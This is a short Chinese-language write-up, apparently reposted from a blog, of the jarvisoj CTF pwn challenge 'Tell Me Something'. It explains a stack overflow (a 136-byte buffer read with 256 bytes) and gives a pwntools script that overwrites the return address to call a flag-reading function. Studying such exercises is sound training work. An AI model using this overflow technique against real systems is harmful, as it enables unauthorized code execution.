本来想做其他的平台,但是搜了一下还是这个平台比较适合入门。
题目

Wp
这里首先下载,然后ida打开,看到main函数

main函数说的实际上就是有一个保存的栈大小为136,但是确允许输入256栈大小的内容,这里存在栈溢出的问题。
然后这里可以看到有一个good_gaem

可以看到是读取了一个flag.txt的文件。

那么需要做的就是先覆盖,这里我自己感觉的是,覆盖先将自身拉满,然后加返回地址直接覆盖就行。
最后就是先覆盖136的自身,然后加上good_game的地址即可。
pwntools
from pwn import *
sh = remote("pwn.jarvisoj.com",9876)
data=136*'a'+p64(0x400620)
sh.sendline(data)
sh.interactive()
sh.close()

最后
以上就是无聊小馒头最近收集整理的关于jarvisoj——Tell Me Something的全部内容,更多相关jarvisoj——Tell内容请搜索靠谱客的其他文章。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复